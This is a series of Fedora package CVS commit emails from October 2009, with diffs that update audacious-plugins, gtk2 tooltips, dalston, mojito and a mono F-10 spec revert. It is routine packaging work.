--- audacious-plugins-fedora-2.1-orig/src/pulse_audio/pulse_audio.c	2009-07-07 00:40:36.000000000 +0200
+++ audacious-plugins-fedora-2.1-pulseaudio/src/pulse_audio/pulse_audio.c	2009-10-21 22:44:06.149809732 +0200
@@ -80,6 +80,8 @@
 }
 
 static void info_cb(struct pa_context *c, const struct pa_sink_input_info *i, int is_last, void *userdata) {
+    return;  /* we don't do anything useful with this callback */
+
     assert(c);
 
     if (!i)
@@ -709,6 +711,18 @@
         goto unlock_and_fail;
     }
 
+    pa_operation_unref(o);
+    /* set initial volume */
+    if (!(o = pa_context_set_sink_input_volume(context, pa_stream_get_index(stream), &volume, NULL, NULL))) {
+        g_warning("pa_context_set_sink_input_volume() failed: %s", pa_strerror(pa_context_errno(context)));
+        goto unlock_and_fail;
+    }
+    while (pa_operation_get_state(o) != PA_OPERATION_DONE) {
+        CHECK_DEAD_GOTO(fail, 1);
+        pa_threaded_mainloop_wait(mainloop);
+    }
+    pa_operation_unref(o);
+
     do_trigger = 0;
     written = 0;
     time_offset_msec = 0;


Index: audacious-plugins.spec
===================================================================
RCS file: /cvs/pkgs/rpms/audacious-plugins/devel/audacious-plugins.spec,v
retrieving revision 1.52
retrieving revision 1.53
diff -u -p -r1.52 -r1.53
--- audacious-plugins.spec	21 Oct 2009 11:30:07 -0000	1.52
+++ audacious-plugins.spec	21 Oct 2009 20:58:19 -0000	1.53
@@ -5,7 +5,7 @@
 
 Name: audacious-plugins
 Version: 2.1
-Release: 6%{?dist}
+Release: 7%{?dist}
 Summary: Plugins for the Audacious media player
 Group: Applications/Multimedia
 URL: http://audacious-media-player.org/
@@ -26,7 +26,8 @@ Patch1: audacious-plugins-1.5.1-timidity
 Patch2: audacious-plugins-2.0.1-xmms-skindir.patch
 Patch3: audacious-plugins-2.1-alsa-ng.patch
 Patch4: audacious-plugins-2.1-underruns.patch
-Patch5: audacious-plugins-1.5.1-pulseaudio-volume.patch
+Patch5: audacious-plugins-2.1-pulseaudio-volume.patch
+Patch6: audacious-plugins-2.1-pulseaudio-volume-accuracy.patch
 
 BuildRequires: audacious-devel >= %{aud_ver}
 BuildRequires: jack-audio-connection-kit-devel libsamplerate-devel
@@ -152,6 +153,7 @@ vortex compressed files.
 %patch3 -p1 -b .alsa-ng
 %patch4 -p1 -b .underruns
 %patch5 -p1 -b .pulseaudio-volume
+%patch6 -p1 -b .pulseaudio-volume-accuracy
 
 sed -i '\,^.SILENT:,d' buildsys.mk.in
 
@@ -235,6 +237,10 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Wed Oct 21 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-7
+- Patch pulseaudio plugin to not suffer from precision loss when
+  calculating the volume level to save.
+
 * Wed Oct 21 2009 Michael Schwendt <mschwendt at fedoraproject.org> - 2.1-6
 - Rediff the underruns patch and set buffer_time_min.
 


--- audacious-plugins-1.5.1-pulseaudio-volume.patch DELETED ---



From mclasen at fedoraproject.org  Wed Oct 21 21:07:23 2009
From: mclasen at fedoraproject.org (Matthias Clasen)
Date: Wed, 21 Oct 2009 21:07:23 +0000 (UTC)
Subject: rpms/gtk2/F-12 fresh-tooltips.patch,1.2,1.3 gtk2.spec,1.417,1.418
Message-ID: <20091021210723.552C111C00E8@cvs1.fedora.phx.redhat.com>

Author: mclasen

Update of /cvs/pkgs/rpms/gtk2/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27207

Modified Files:
	fresh-tooltips.patch gtk2.spec 
Log Message:
Work around metacity compositor limitations.


fresh-tooltips.patch:
 gtktooltip.c |  216 +++++++++++++++++++++++++++++++++++++++++++++++++++++------
 1 file changed, 197 insertions(+), 19 deletions(-)

Index: fresh-tooltips.patch
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/fresh-tooltips.patch,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- fresh-tooltips.patch	21 Oct 2009 14:27:16 -0000	1.2
+++ fresh-tooltips.patch	21 Oct 2009 21:07:22 -0000	1.3
@@ -1,6 +1,6 @@
 diff -up gtk+-2.18.3/gtk/gtktooltip.c.fresh-tooltips gtk+-2.18.3/gtk/gtktooltip.c
 --- gtk+-2.18.3/gtk/gtktooltip.c.fresh-tooltips	2009-10-16 10:35:45.000000000 -0400
-+++ gtk+-2.18.3/gtk/gtktooltip.c	2009-10-21 10:24:42.022179427 -0400
++++ gtk+-2.18.3/gtk/gtktooltip.c	2009-10-21 16:46:25.035809299 -0400
 @@ -95,6 +95,7 @@ static void       gtk_tooltip_display_cl
  						    GtkTooltip      *tooltip);
  static void       gtk_tooltip_set_last_window      (GtkTooltip      *tooltip,
@@ -76,7 +76,7 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
  {
    g_return_if_fail (GTK_IS_TOOLTIP (tooltip));
  
-@@ -471,27 +492,163 @@ static void
+@@ -471,27 +492,184 @@ static void
  gtk_tooltip_window_style_set (GtkTooltip *tooltip)
  {
    gtk_alignment_set_padding (GTK_ALIGNMENT (tooltip->alignment),
@@ -137,6 +137,8 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
 +  cairo_arc (cr,
 +             x + radius, y + radius, radius,
 +             180.0f * G_PI / 180.0f, 270.0f * G_PI / 180.0f);
++
++  cairo_close_path (cr);
 +}
 +
 +static void
@@ -156,22 +158,21 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
 +  radius = MIN (widget->style->xthickness, widget->style->ythickness);
 +  radius = MAX (radius, 1);
 +
++  cairo_set_operator (cr, CAIRO_OPERATOR_CLEAR);
++  cairo_paint (cr);
++  cairo_set_operator (cr, CAIRO_OPERATOR_OVER);
++
 +  draw_round_rect (cr,
-+                   1.0, 0, 0, radius,
-+                   widget->allocation.width,
-+                   widget->allocation.height);
++                   1.0, 1, 1, radius,
++                   widget->allocation.width - 2,
++                   widget->allocation.height - 2);
 +
 +  color = widget->style->bg [GTK_STATE_NORMAL];
 +  r = (float)color.red / 65535.0;
 +  g = (float)color.green / 65535.0;
 +  b = (float)color.blue / 65535.0;
 +  cairo_set_source_rgba (cr, r, g, b, background_alpha);
-+  cairo_fill (cr);
-+
-+  draw_round_rect (cr,
-+                   1.0, 1, 1, radius,
-+                   widget->allocation.width - 2,
-+                   widget->allocation.height - 2);
++  cairo_fill_preserve (cr);
 +
 +  color = widget->style->bg [GTK_STATE_SELECTED];
 +  r = (float) color.red / 65535.0;
@@ -179,7 +180,7 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
 +  b = (float) color.blue / 65535.0;
 +
 +  cairo_set_source_rgba (cr, r, g, b, background_alpha);
-+  cairo_set_line_width (cr, 0.3);
++  cairo_set_line_width (cr, 1.0);
 +  cairo_stroke (cr);
 +}
 +
@@ -190,13 +191,33 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
 +  cairo_t *cr;
 +  gint width, height;
 +
++  gtk_window_get_size (GTK_WINDOW (tooltip->window), &width, &height);
++
 +  if (gdk_screen_is_composited (gtk_widget_get_screen (tooltip->window)))
 +    {
++      GdkRectangle rect;
++      GdkRegion *region;
++
++#if 0
 +      gtk_widget_shape_combine_mask (tooltip->window, NULL, 0, 0);
++     return;
++#endif
++      /* This is a hack to keep the metacity compositor from slapping a
++       * non-shaped shadow around the shaped tooltip
++       */
++      if (tooltip->window->window)
++        {
++          rect.x = 0;
++          rect.y = 0;
++          rect.width = width;
++          rect.height = height;
++          region = gdk_region_rectangle (&rect);
++          gdk_window_shape_combine_region (tooltip->window->window, region, 0, 0);
++          gdk_region_destroy (region);
++        }
 +      return;
 +    }
 +
-+  gtk_window_get_size (tooltip->window, &width, &height);
 +  mask = (GdkBitmap *) gdk_pixmap_new (NULL, width, height, 1);
 +  cr = gdk_cairo_create (mask);
 +  if (cairo_status (cr) == CAIRO_STATUS_SUCCESS)
@@ -254,7 +275,7 @@ diff -up gtk+-2.18.3/gtk/gtktooltip.c.fr
  
    return FALSE;
  }
-@@ -631,7 +788,7 @@ find_widget_under_pointer (GdkWindow *wi
+@@ -631,7 +809,7 @@ find_widget_under_pointer (GdkWindow *wi
  
  #ifdef DEBUG_TOOLTIP
    g_print ("event window %p (belonging to %p (%s))  (%d, %d)\n",


Index: gtk2.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gtk2/F-12/gtk2.spec,v
retrieving revision 1.417
retrieving revision 1.418
diff -u -p -r1.417 -r1.418
--- gtk2.spec	21 Oct 2009 14:27:16 -0000	1.417
+++ gtk2.spec	21 Oct 2009 21:07:22 -0000	1.418
@@ -17,7 +17,7 @@
 Summary: The GIMP ToolKit (GTK+), a library for creating GUIs for X
 Name: gtk2
 Version: %{base_version}
-Release: 5%{?dist}
+Release: 6%{?dist}
 License: LGPLv2+
 Group: System Environment/Libraries
 Source: http://download.gnome.org/sources/gtk+/2.18/gtk+-%{version}.tar.bz2
@@ -385,6 +385,9 @@ fi
 
 
 %changelog
+* Wed Oct 21 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.3-6
+- Hack around metacity compositor limitations
+
 * Wed Oct 21 2009 Matthias Clasen <mclasen at redhat.com> - 2.18.3-5
 - Tweak tooltip appearance
 



From pbrobinson at fedoraproject.org  Wed Oct 21 21:14:55 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Wed, 21 Oct 2009 21:14:55 +0000 (UTC)
Subject: rpms/dalston/devel .cvsignore, 1.2, 1.3 dalston.spec, 1.1,
	1.2 sources, 1.2, 1.3
Message-ID: <20091021211455.BFDD011C00E8@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/dalston/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv29286

Modified Files:
	.cvsignore dalston.spec sources 
Log Message:
- new upstream 0.1.10 release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/dalston/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	8 Oct 2009 06:05:14 -0000	1.2
+++ .cvsignore	21 Oct 2009 21:14:55 -0000	1.3
@@ -1 +1 @@
-dalston-0.1.8.tar.gz
+dalston-0.1.10.tar.gz


Index: dalston.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dalston/devel/dalston.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- dalston.spec	8 Oct 2009 06:05:14 -0000	1.1
+++ dalston.spec	21 Oct 2009 21:14:55 -0000	1.2
@@ -2,12 +2,11 @@
 # wget http://git.moblin.org/cgit.cgi/%{name}/snapshot/%{name}-%{version}.tar.bz2
 # tar xf %{name}-%{version}.tar.bz2
 # cd %{name}-%{version}
-# patch -p1 dalston-nbtk-1.2.patch
 # patch -p1 0001-Update-to-latest-gnome-volume-control-code.patch
 # make dist
 
 Name:          dalston
-Version:       0.1.8
+Version:       0.1.10
 Release:       1%{?dist}
 Summary:       Moblin System Information Icons
 
@@ -60,6 +59,9 @@ rm -rf %{buildroot}
 %{_datadir}/dalston
 
 %changelog
+* Wed Oct 21 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.10-1
+- new upstream 0.1.10 release
+
 * Tue Oct  6 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.8-1
 - new upstream 0.1.8 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/dalston/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	8 Oct 2009 06:05:15 -0000	1.2
+++ sources	21 Oct 2009 21:14:55 -0000	1.3
@@ -1 +1 @@
-62e097ec92f2ed09110ccbf6cdadfa3a  dalston-0.1.8.tar.gz
+a8f98ab9830381d00477130cbb80c91a  dalston-0.1.10.tar.gz



From pbrobinson at fedoraproject.org  Wed Oct 21 21:35:47 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Wed, 21 Oct 2009 21:35:47 +0000 (UTC)
Subject: rpms/mojito/devel .cvsignore, 1.12, 1.13 mojito.spec, 1.21,
	1.22 sources, 1.12, 1.13
Message-ID: <20091021213547.37C3211C00E8@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/mojito/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3516

Modified Files:
	.cvsignore mojito.spec sources 
Log Message:
- Update to 0.21.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mojito/devel/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	10 Oct 2009 18:44:11 -0000	1.12
+++ .cvsignore	21 Oct 2009 21:35:46 -0000	1.13
@@ -1 +1 @@
-mojito-0.21.3.tar.bz2
+mojito-0.21.4.tar.bz2


Index: mojito.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mojito/devel/mojito.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- mojito.spec	10 Oct 2009 18:44:11 -0000	1.21
+++ mojito.spec	21 Oct 2009 21:35:46 -0000	1.22
@@ -1,5 +1,5 @@
 Name:           mojito
-Version:        0.21.3
+Version:        0.21.4
 Release:        1%{?dist}
 Summary:        A social network data aggregator
 
@@ -105,6 +105,9 @@ rm -rf %{buildroot}
 %{_libdir}/libmojito-keystore.so
 
 %changelog
+* Wed Oct 21 2009 Peter Robinson <pbrobinson at gmail.com> 0.21.4-1
+- Update to 0.21.4
+
 * Sat Oct 10 2009 Peter Robinson <pbrobinson at gmail.com> 0.21.3-1
 - Update to 0.21.3
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mojito/devel/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	10 Oct 2009 18:44:11 -0000	1.12
+++ sources	21 Oct 2009 21:35:47 -0000	1.13
@@ -1 +1 @@
-c887bd7c2dc6611388f6bc1812717e46  mojito-0.21.3.tar.bz2
+dc010de505bcd2beb75e72176581f715  mojito-0.21.4.tar.bz2



From pbrobinson at fedoraproject.org  Wed Oct 21 21:39:33 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Wed, 21 Oct 2009 21:39:33 +0000 (UTC)
Subject: rpms/dalston/devel dalston.spec,1.2,1.3
Message-ID: <20091021213933.15EC211C00E8@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/dalston/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv4101

Modified Files:
	dalston.spec 
Log Message:
- update files list for new release


Index: dalston.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dalston/devel/dalston.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- dalston.spec	21 Oct 2009 21:14:55 -0000	1.2
+++ dalston.spec	21 Oct 2009 21:39:32 -0000	1.3
@@ -7,7 +7,7 @@
 
 Name:          dalston
 Version:       0.1.10
-Release:       1%{?dist}
+Release:       2%{?dist}
 Summary:       Moblin System Information Icons
 
 Group:         System Environment/Libraries
@@ -54,11 +54,16 @@ rm -rf %{buildroot}
 %defattr(-,root,root,-)
 %doc COPYING README
 %{_sysconfdir}/xdg/autostart/*
-%{_bindir}/dalston-power-applet
-%{_bindir}/dalston-volume-applet
+%{_libexecdir}/dalston-power-applet
+%{_libexecdir}/dalston-volume-applet
 %{_datadir}/dalston
+%{_datadir}/dbus-1/services/org.moblin.UX.Shell.Panels.power.service
+%{_datadir}/dbus-1/services/org.moblin.UX.Shell.Panels.volume.service
 
 %changelog
+* Wed Oct 21 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.10-2
+- update files list for new release
+
 * Wed Oct 21 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.10-1
 - new upstream 0.1.10 release
 



From pbrobinson at fedoraproject.org  Wed Oct 21 21:43:01 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Wed, 21 Oct 2009 21:43:01 +0000 (UTC)
Subject: rpms/mojito/F-12 .cvsignore, 1.12, 1.13 mojito.spec, 1.21,
	1.22 sources, 1.12, 1.13
Message-ID: <20091021214301.128B411C00E8@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/mojito/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5421

Modified Files:
	.cvsignore mojito.spec sources 
Log Message:
- Update to 0.21.4


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mojito/F-12/.cvsignore,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- .cvsignore	10 Oct 2009 21:24:43 -0000	1.12
+++ .cvsignore	21 Oct 2009 21:43:00 -0000	1.13
@@ -1 +1 @@
-mojito-0.21.3.tar.bz2
+mojito-0.21.4.tar.bz2


Index: mojito.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mojito/F-12/mojito.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- mojito.spec	10 Oct 2009 21:24:43 -0000	1.21
+++ mojito.spec	21 Oct 2009 21:43:00 -0000	1.22
@@ -1,5 +1,5 @@
 Name:           mojito
-Version:        0.21.3
+Version:        0.21.4
 Release:        1%{?dist}
 Summary:        A social network data aggregator
 
@@ -105,6 +105,9 @@ rm -rf %{buildroot}
 %{_libdir}/libmojito-keystore.so
 
 %changelog
+* Wed Oct 21 2009 Peter Robinson <pbrobinson at gmail.com> 0.21.4-1
+- Update to 0.21.4
+
 * Sat Oct 10 2009 Peter Robinson <pbrobinson at gmail.com> 0.21.3-1
 - Update to 0.21.3
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mojito/F-12/sources,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- sources	10 Oct 2009 21:24:43 -0000	1.12
+++ sources	21 Oct 2009 21:43:00 -0000	1.13
@@ -1 +1 @@
-c887bd7c2dc6611388f6bc1812717e46  mojito-0.21.3.tar.bz2
+dc010de505bcd2beb75e72176581f715  mojito-0.21.4.tar.bz2



From pbrobinson at fedoraproject.org  Wed Oct 21 21:45:21 2009
From: pbrobinson at fedoraproject.org (Peter Robinson)
Date: Wed, 21 Oct 2009 21:45:21 +0000 (UTC)
Subject: rpms/dalston/F-12 .cvsignore, 1.2, 1.3 dalston.spec, 1.1,
	1.2 sources, 1.2, 1.3
Message-ID: <20091021214521.2F41A11C00E8@cvs1.fedora.phx.redhat.com>

Author: pbrobinson

Update of /cvs/pkgs/rpms/dalston/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6457

Modified Files:
	.cvsignore dalston.spec sources 
Log Message:
- update files list for new release


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/dalston/F-12/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	8 Oct 2009 06:08:08 -0000	1.2
+++ .cvsignore	21 Oct 2009 21:45:20 -0000	1.3
@@ -1 +1 @@
-dalston-0.1.8.tar.gz
+dalston-0.1.10.tar.gz


Index: dalston.spec
===================================================================
RCS file: /cvs/pkgs/rpms/dalston/F-12/dalston.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- dalston.spec	8 Oct 2009 06:08:08 -0000	1.1
+++ dalston.spec	21 Oct 2009 21:45:20 -0000	1.2
@@ -2,13 +2,12 @@
 # wget http://git.moblin.org/cgit.cgi/%{name}/snapshot/%{name}-%{version}.tar.bz2
 # tar xf %{name}-%{version}.tar.bz2
 # cd %{name}-%{version}
-# patch -p1 dalston-nbtk-1.2.patch
 # patch -p1 0001-Update-to-latest-gnome-volume-control-code.patch
 # make dist
 
 Name:          dalston
-Version:       0.1.8
-Release:       1%{?dist}
+Version:       0.1.10
+Release:       2%{?dist}
 Summary:       Moblin System Information Icons
 
 Group:         System Environment/Libraries
@@ -55,11 +54,19 @@ rm -rf %{buildroot}
 %defattr(-,root,root,-)
 %doc COPYING README
 %{_sysconfdir}/xdg/autostart/*
-%{_bindir}/dalston-power-applet
-%{_bindir}/dalston-volume-applet
+%{_libexecdir}/dalston-power-applet
+%{_libexecdir}/dalston-volume-applet
 %{_datadir}/dalston
+%{_datadir}/dbus-1/services/org.moblin.UX.Shell.Panels.power.service
+%{_datadir}/dbus-1/services/org.moblin.UX.Shell.Panels.volume.service
 
 %changelog
+* Wed Oct 21 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.10-2
+- update files list for new release
+
+* Wed Oct 21 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.10-1
+- new upstream 0.1.10 release
+
 * Tue Oct  6 2009 Peter Robinson <pbrobinson at gmail.com> 0.1.8-1
 - new upstream 0.1.8 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/dalston/F-12/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	8 Oct 2009 06:08:08 -0000	1.2
+++ sources	21 Oct 2009 21:45:20 -0000	1.3
@@ -1 +1 @@
-62e097ec92f2ed09110ccbf6cdadfa3a  dalston-0.1.8.tar.gz
+a8f98ab9830381d00477130cbb80c91a  dalston-0.1.10.tar.gz



From chkr at fedoraproject.org  Wed Oct 21 21:59:24 2009
From: chkr at fedoraproject.org (chkr)
Date: Wed, 21 Oct 2009 21:59:24 +0000 (UTC)
Subject: rpms/mono/F-10 .cvsignore, 1.24, 1.25 import.log, 1.14,
	1.15 mono.spec, 1.88, 1.89 sources, 1.28, 1.29
Message-ID: <20091021215924.4EF4F11C00E8@cvs1.fedora.phx.redhat.com>

Author: chkr

Update of /cvs/pkgs/rpms/mono/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10497

Modified Files:
	.cvsignore import.log mono.spec sources 
Log Message:
This checkins reverts the complete mono/F-10 directory back to
the latest offical NVR build (CVS tag mono-2_2-2_fc10) which was 
also pushed into updates.

This step is necessary to update the package to the official released mono 2.2
tarball which contains some important bug fixes.

Since the support for F10 will end in a few months the risk of upgrading
to mono 2.4 in F10 is too high.

https://bugzilla.redhat.com/show_bug.cgi?id=530170




Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mono/F-10/.cvsignore,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- .cvsignore	15 Mar 2009 13:58:05 -0000	1.24
+++ .cvsignore	21 Oct 2009 21:59:23 -0000	1.25
@@ -1 +1 @@
-mono-2.4.tar.bz2
+mono-2.2.tar.bz2


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/mono/F-10/import.log,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- import.log	15 Mar 2009 13:58:05 -0000	1.14
+++ import.log	21 Oct 2009 21:59:23 -0000	1.15
@@ -11,4 +11,3 @@ mono-2_0_1-12_fc10:HEAD:mono-2.0.1-12.fc
 mono-2_0_1-13_fc10:HEAD:mono-2.0.1-13.fc10.src.rpm:1225659728
 mono-2_2-1_fc11:F-10:mono-2.2-1.fc11.src.rpm:1232140558
 mono-2_2-2_fc11:F-10:mono-2.2-2.fc11.src.rpm:1237118002
-mono-2_4-10_RC2_fc11:F-10:mono-2.4-10.RC2.fc11.src.rpm:1237125228


Index: mono.spec
===================================================================
RCS file: /cvs/pkgs/rpms/mono/F-10/mono.spec,v
retrieving revision 1.88
retrieving revision 1.89
diff -u -p -r1.88 -r1.89
--- mono.spec	15 Mar 2009 13:58:05 -0000	1.88
+++ mono.spec	21 Oct 2009 21:59:24 -0000	1.89
@@ -1,12 +1,12 @@
 Name:		mono
-Version:        2.4
-Release:        10.RC2%{?dist}
+Version:        2.2
+Release:        2%{?dist}
 Summary:        A .NET runtime environment
 
 Group:          Development/Languages
 License:        MIT
-URL:            http://mono.ximian.com/monobuild/preview/sources-preview/
-Source0:        %{name}-%{version}.tar.bz2
+URL:		http://ftp.novell.com/pub/mono/sources-stable/
+Source0:        http://ftp.novell.com/pub/mono/sources-stable/%{name}-%{version}.tar.bz2
 Source1:	monodir.c
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
@@ -14,7 +14,7 @@ BuildRequires:  bison 
 BuildRequires:  glib2-devel
 BuildRequires:  pkgconfig
 BuildRequires:  libicu-devel
-BuildRequires:  libgdiplus-devel >= 2.4
+BuildRequires:  libgdiplus-devel >= 2.2
 BuildRequires:  zlib-devel
 %ifarch ia64
 BuildRequires:  libunwind
@@ -145,15 +145,6 @@ Requires:       mono-core = %{version}-%
 This package provides the ASP.NET libraries and runtime for
 development of web application, web services and remoting support.
 
-%package web-devel
-Summary:        Development files for system.web
-Group:          Development/Languages
-Requires:       mono-core = %{version}-%{release}
-Requires:	mono-web = %{version}-%{release} pkgconfig
-
-%description web-devel
-This package provides the .pc file for mono-web
-
 %package data
 Summary:        Database connectivity for Mono
 Group:          Development/Languages
@@ -267,7 +258,7 @@ Development file for monodoc
   %{nil}
 
 %prep
-%setup -q 
+%setup -q
 
 %patch0 -p1 -b .ppc-threading
 %patch1 -p1 -b .libdir
@@ -279,9 +270,6 @@ Development file for monodoc
 sed -i -e 's!@libdir@!%{_libdir}!' %{PATCH7}
 %patch7 -p1 -b .libdir-22
 sed -i -e 's!%{_libdir}!@libdir@!' %{PATCH7}
-sed -i -e 's!@prefix@/lib/!%{_libdir}/!' data/mono.web.pc.in
-sed -i -e 's!@prefix@/lib/!%{_libdir}/!' data/system.web.extensions_1.0.pc.in
-sed -i -e 's!@prefix@/lib/!%{_libdir}/!' data/system.web.extensions.design_1.0.pc.in
 sed -i -e 's!$(prefix)/lib/!%{_libdir}/!' docs/Makefile.{am,in}
 
 autoreconf -f -i -s
@@ -378,6 +366,9 @@ install monodir %{buildroot}%{_bindir}
 %{_bindir}/mkbundle2
 %{_libdir}/libmono.so.*
 %{_libdir}/libmono-profiler-logging.so.*
+%{_libdir}/mono/1.0/CorCompare.exe
+%{_libdir}/mono/1.0/mono-api-diff.exe
+%{_libdir}/mono/1.0/transform.exe
 %{_mandir}/man1/certmgr.1.gz
 %{_mandir}/man1/chktrust.1.gz
 %{_mandir}/man1/gacutil.1.gz
@@ -392,6 +383,8 @@ install monodir %{buildroot}%{_bindir}
 %{_mandir}/man5/mono-config.5.gz
 %{_mandir}/man1/csharp.1.gz
 %{_mandir}/man1/mono-cil-strip.1.gz
+%{_mandir}/man1/monoburg.1.gz
+%{_mandir}/man1/vbnc.1.gz
 %{_libdir}/libMonoPosixHelper.so
 %dir %{monodir}
 %dir %{monodir}/1.0
@@ -457,6 +450,7 @@ install monodir %{buildroot}%{_bindir}
 %mono_bin dtd2rng
 %mono_bin_1 genxs1 genxs
 %{_bindir}/genxs
+%{_bindir}/genxs2
 %mono_bin sgen
 %mono_bin_1 ilasm ilasm
 %{_bindir}/ilasm1
@@ -538,10 +532,6 @@ install monodir %{buildroot}%{_bindir}
 %gac_dll nunit.framework
 %gac_dll nunit.util
 %gac_dll nunit.mocks
-%gac_dll nunit-console-runner
-%gac_dll nunit.core.extensions
-%gac_dll nunit.core.interfaces
-%gac_dll nunit.framework.extensions
 
 %files nunit-devel
 %defattr(-,root,root,-)
@@ -571,9 +561,6 @@ install monodir %{buildroot}%{_bindir}
 %gac_dll System.ServiceModel
 %gac_dll System.Configuration.Install
 %gac_dll Microsoft.Vsa
-%gac_dll Mono.Messaging.RabbitMQ
-%gac_dll Mono.Messaging
-%gac_dll RabbitMQ.Client
 
 %files winforms
 %defattr(-,root,root,-)
@@ -617,12 +604,6 @@ install monodir %{buildroot}%{_bindir}
 %mono_bin httpcfg
 %{_mandir}/man1/httpcfg.1.gz
 
-%files web-devel
-%defattr(-,root,root,-)
-%{_libdir}/pkgconfig/mono.web.pc
-%{_libdir}/pkgconfig/system.web.extensions_1.0.pc
-%{_libdir}/pkgconfig/system.web.extensions.design_1.0.pc
-
 %files data
 %defattr(-,root,root,-)
 %mono_bin sqlsharp
@@ -687,116 +668,14 @@ install monodir %{buildroot}%{_bindir}
 %{_libdir}/pkgconfig/monodoc.pc
 
 %changelog
-* Tue Mar 10 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.4-10.RC2
-- Bump to RC2
-
-* Sat Mar 07 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.4-9.RC1
-- Fix libdir issue with mono-cairo
-
-* Fri Feb 27 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.4-8.RC1
-- Built using official tarball release
-- BR now uses libgdiplus >= 2.4
-- Bump to RC1
-
-* Tue Feb 10 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.4-6.pre2.20091002svn126522
-- Update from svn
-- removed big array support (seems to be causing some problems)
-- removed genxs2
-
-* Thu Feb 05 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.4-5.pre2.20090502svn125515
-- Update from svn
-- rename to pre2
-
-* Sat Jan 24 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.4-2.20092401svn124412
-- Update from svn
-- Added support for big arrays (64 bit archs only)
-
-* Sun Jan 18 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.4-1.20091801svn123751
-- Update from svn
-
-* Fri Jan 16 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.4-1.20091601svn123642
-- Move to 2.4 branch
-- Update from svn
-
-* Sun Jan 11 2009 Paul F. Johnson <paul at all-the-johnsons.co.uk> 2.2-17.RC2.20091101svn122991
-- Updates from svn
-- Change to RC2
-- Removed mono-api-diff.exe and transform.exe from spec
-- Fixes some problems with winforms on some boxes
-- Added gettext-devel
-
